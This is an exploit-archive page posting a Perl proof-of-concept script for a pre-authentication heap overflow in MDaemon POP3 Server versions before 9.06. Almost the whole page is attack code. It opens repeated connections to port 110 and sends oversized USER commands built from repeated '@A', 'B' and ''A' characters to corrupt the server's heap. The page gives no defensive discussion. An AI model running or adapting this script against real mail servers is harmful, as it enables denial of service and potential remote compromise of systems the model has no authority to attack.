exploits , vulnerabilities , articles , MDaemon POP3 Server < 9.06 (USER) Remote Buffer Overflow PoC

Rated as : Critical

#
# PoC for Mdaemon POP3 preauth heap overflow
#
# Coded by Leon Juranic <leon.juranic@infigo.hr>
# Infigo IS <http://www.infigo.hr>
# 
#

$host = '192.168.0.105';

use IO::Socket;

for ($x = 0 ; $x < 12 ; $x++)
{
	$sock = new IO::Socket::INET (PeerAddr => $host,PeerPort => '110',
Proto => 'tcp') 
	|| die "socket error\n\n";
	recv ($sock, $var, 10000,0);
	print $var;
	print $sock "USER " . "\@A" x 160 .
"\r\n";
	recv ($sock, $var, 10000,0);
	print $var;
	print $sock "QUIT\r\n";
	recv ($sock, $var, 10000,0);
	print $var;
	close ($sock);
	sleep(1);
}
	$sock = new IO::Socket::INET (PeerAddr => $host,PeerPort => '110',
Proto => 'tcp') 
	|| die "socket error\n\n";
	recv ($sock, $var, 10000,0);
	print $var;
	print $sock "USER " . "\@A\@A" . "B" x 326
. "\r\n";
	recv ($sock, $var, 10000,0);
	print $var;
	print $sock "USER " . "\'A" x  337 .
"\r\n";
	recv ($sock, $var, 10000,0);
	print $var;
	sleep(2);
securitydot.net - 2006-08-22